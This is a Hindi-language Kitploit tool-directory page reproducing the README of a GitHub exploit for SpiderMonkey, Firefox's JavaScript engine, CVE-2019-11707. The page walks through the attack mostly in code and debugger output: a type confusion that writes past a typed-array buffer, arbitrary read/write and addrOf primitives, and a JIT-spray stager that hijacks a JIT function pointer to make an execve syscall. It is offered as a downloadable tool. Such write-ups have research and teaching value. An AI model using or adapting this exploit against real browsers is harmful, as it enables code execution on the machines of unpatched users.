Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
cve-2019-11707 — https://bugs.chromium.org/p/project-zero/issues/detail?id=1820 | Kitploit
उपकरण/GitHubGitHub/flabbergastedbd/cve-2019-11707
भेद्यता विश्लेषणशोषणशेलकोडवेब एप्लिकेशन शोषणशेलकोड जनरेशनपेलोड डेवलपमेंटबाइनरी शोषण
GitHubflabbergastedbd/cve-2019-11707

cve-2019-11707

https://bugs.chromium.org/p/project-zero/issues/detail?id=1820

रिपॉजिटरी देखें
2246 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

SpiderMonkey - CVE-2019-11707

बग: https://bugs.chromium.org/p/project-zero/issues/detail?id=1820

स्क्रीनशॉट

स्रोत

शोषण

फ़ाइलें

  • exploit.js - वास्तविक शोषण, saelo के util.js और Int64.js द्वारा प्रस्तुत।
  • stager.js - स्थिरांक बनाने के लिए उपयोग किया जाता है, saelo के util.js और Int64.js द्वारा प्रस्तुत।
  • stager.py - Keystone का उपयोग करके निर्देशों को असेंबल करने के लिए उपयोग किया जाता है। आउटपुट stager.js को फीड किया जाता है।
  • शोषण अवलोकन

    • टाइप कन्फ्यूजन का उपयोग करके एक टाइप किए गए ऐरे बफर से परे लिखें (setup() में किया गया)।
    root@kitploit:~
    const exploit_pack = [
      new Uint8Array(0x10),
      new Uint8Array(0x10), // Use this [:8] to control data pointer of below array
      new Uint8Array(0x10), // Arbitrary RW array
    ]
    
    • TLDR: exploit_pack[0] के बैकिंग बफर से परे exploit_pack[1] के डेटा पॉइंटर फील्ड में लिखें। इसे exploit_pack[2] के डेटा पॉइंटर फील्ड के पते पर इंगित करें।
    root@kitploit:~
          // setup()
          const v11 = v4.pop();
          const addr = v11[11];
          v11[11] = Add(new Int64.fromDouble(addr), 0x58).asDouble();
    
    • मनमाना RW संभव है, पता exploit_pack[1] की सामग्री के रूप में सेट किया जा सकता है जो आंतरिक रूप से exploit_pack[2] के डेटा पॉइंटर को संशोधित करता है। फिर मेमोरी पढ़ने या लिखने के लिए exploit_pack[2] का उपयोग करें।
    root@kitploit:~
    function read(ptr) {
      read_addr = new Int64(ptr);
      // Change data pointer of exploit_pack[2]
      for (var idx=0; idx < 8; idx++) {
        exploit_pack[1][idx] = read_addr.byteAt(idx);
      }
    
      let bytes = exploit_pack[2].slice(0, 8);
      // Remove 0xfffe in pointer
      // bytes[7] = 0x00; bytes[6] = 0x00;
      obj_addr = new Int64(bytes);
      // console.log(obj_addr);
      return obj_addr;
      // console.log(new Int64(obj_addr));
    }
    
    function write(ptr, value) {
      let addr = new Int64(ptr);
      let bytes = new Int64(value);
    
      // Change data pointer of exploit_pack[2]
      for (var idx=0; idx < 8; idx++) {
        exploit_pack[1][idx] = addr.byteAt(idx);
      }
    
      for (var idx=0; idx < 8; idx++) {
        exploit_pack[2][idx] = bytes.byteAt(idx);
      }
    }
    
    • exploit_pack का उपयोग करके ही एक addrOf प्रिमिटिव बनाएं।
    root@kitploit:~
    function addrOf(obj) {
      exploit_pack[3] = obj;
    
      // Change data pointer of exploit_pack[2]
      for (var idx=0; idx < 8; idx++) {
        exploit_pack[1][idx] = leaking_addr.byteAt(idx);
      }
    
      let bytes = exploit_pack[2].slice(0, 8);
      // Remove 0xfffe in pointer
      bytes[7] = 0x00; bytes[6] = 0x00;
      obj_addr = new Int64(bytes);
      // console.log(obj_addr);
      return obj_addr;
      // console.log(new Int64(obj_addr));
    }
    
    • एक बेसलाइन JIT स्प्रे करें, JIT फ़ंक्शन पॉइंटर प्राप्त करने के लिए कुछ संरचनाओं को ट्रैवर्स करें, कूदने के लिए दिलचस्प ऑफ़सेट खोजें। वास्तविक फ़ंक्शन पॉइंटर को इस ऑफ़सेट से ओवरराइट करें।

    JIT स्प्रे

    • संक्षेप में, हम नीचे दिए गए जैसे फ़ंक्शंस को r-x पेजों में बाध्य कर सकते हैं।
    root@kitploit:~
    const stager = function (a, b, c, d) {
      const rax = a;
      const rdi = b;
      const rsi = c;
      const rdx = d;
    
      const g0 = 9.073632937307107e-271;
      const g1 = 1.6063957816990143e-270;
      const g2 = 1.6082444981830348e-270;
      const g3 = 1.6100929890177583e-270;
      const g4 = 1.6119413952339954e-270;
      const g5 = 1.68020602465e-313;
    }
    
    • JIT के बाद यह कुछ इस प्रकार दिखता है। आप हमारा स्थिरांक 0xdeadc0debaad देख सकते हैं।

    वास्तविक JIT

    root@kitploit:~
    gef➤  disas /r 0x0000085a6e604531,+20
    Dump of assembler code from 0x85a6e604531 to 0x85a6e604545:
       0x0000085a6e604531:  49 bb 80 ad ba de c0 ad de 07   movabs r11,0x7deadc0debaad80
       0x0000085a6e60453b:  4c 89 5d a8                      mov    QWORD PTR [rbp-0x58],r11
       0x0000085a6e60453f:  49 bb c0 48 8b 44 24 28 eb 07   movabs r11,0x7eb2824448b48c0
    End of assembler dump.
    
    • यदि समान बाइट्स को नीचे दिए गए जैसे किसी भिन्न ऑफ़सेट से निर्देशों के रूप में पार्स किया जाने लगे, तो सब कुछ बदल जाता है। यह JIT स्प्रे का सार है।

    ऑफ़सेट JIT

    root@kitploit:~
    gef➤  disas /r 0x0000085a6e604542,+10
    Dump of assembler code from 0x85a6e604542 to 0x85a6e604556:
       0x0000085a6e604542:  48 8b 44 24 28  mov    rax,QWORD PTR [rsp+0x28]
       0x0000085a6e604547:  eb 07           jmp    0x85a6e604550
    End of assembler dump.
    
    • विचार यह है कि हम 4c 89 5d XX 49 bb 00 बाइट्स को किसी तरह से 7 बाइट्स के साथ बायपास करें जिन्हें हम नियंत्रित करते हैं। हम एक रिलेटिव jmp का उपयोग करके इन बाइट्स पर कूद सकते हैं।
    root@kitploit:~
    $ rasm2 -a x86 -b 64 "jmp 7"
    eb05
    
    • तो एक रिलेटिव jmp में 2 बाइट्स लगते हैं, हमारे पास हमारे असेंबली निर्देश लिखने के लिए 5 बाइट्स हैं। जब हमारा फ़ंक्शन कॉल किया जाता है तो स्टैक पर एक ऑफ़सेट पर JIT फ़ंक्शन पैरामीटर उपलब्ध होते हैं। इसलिए हमारा JIT फ़ंक्शन पैरामीटर ले रहा था।

    रजिस्टर

    • लिनक्स पर सिस्कॉल के लिए X86-64 कॉलिंग कन्वेंशन के अनुसार, हमें execve सिस्कॉल के लिए रजिस्टरों में निम्नलिखित चीजों की आवश्यकता है।
    root@kitploit:~
    rax: सिस्कॉल नंबर
    rdi: प्रोग्राम पथ
    rsi: argv
    rdx: envp
    
    • निम्नलिखित mov निर्देश स्टैक पर एक ऑफ़सेट से संबंधित रजिस्टरों में मान स्थानांतरित करने के लिए वरदान हैं। यह बिल्कुल 5 बाइट्स का है।
    root@kitploit:~
    $ rasm2 -a x86 -b 64 "mov rdi, QWORD [rsp + 0x28]"
    488b442428
    
    • इसलिए, हम अपने स्थिरांक बना सकते हैं। यह देखने के लिए stager.py -> stager.js देखें कि वे कैसे उत्पन्न हुए थे।

    • बस ऑब्जेक्ट संरचना में वास्तविक JIT फ़ंक्शन पॉइंटर को ओवरराइट करें और इसे ऑफ़सेट से बदलें। पैरामीटर के साथ फ़ंक्शन को कॉल करें।

    root@kitploit:~
    write(jitGetter, jmpOffset);
    stager(
      new Int64(59).asDouble(),
      new Int64(pathAddr).asDouble(),
      new Int64(argvBufferAddr).asDouble(),
      new Int64(environBufferAddr).asDouble());
    
    • stager जिस तरह से लिखा गया है, उसे देखते हुए, 3 तर्कों के साथ कोई भी सिस्कॉल करना आसान है।

    अति उपयोगी लिंक

    • https://doar-e.github.io/blog/2018/11/19/introduction-to-spidermonkey-exploitation/
    • https://doar-e.github.io/blog/2019/06/17/a-journey-into-ionmonkey-root-causing-cve-2019-9810/
    • https://vigneshsrao.github.io/writeup/
    • https://github.com/saelo/jscpwn
    टूल डाउनलोड करें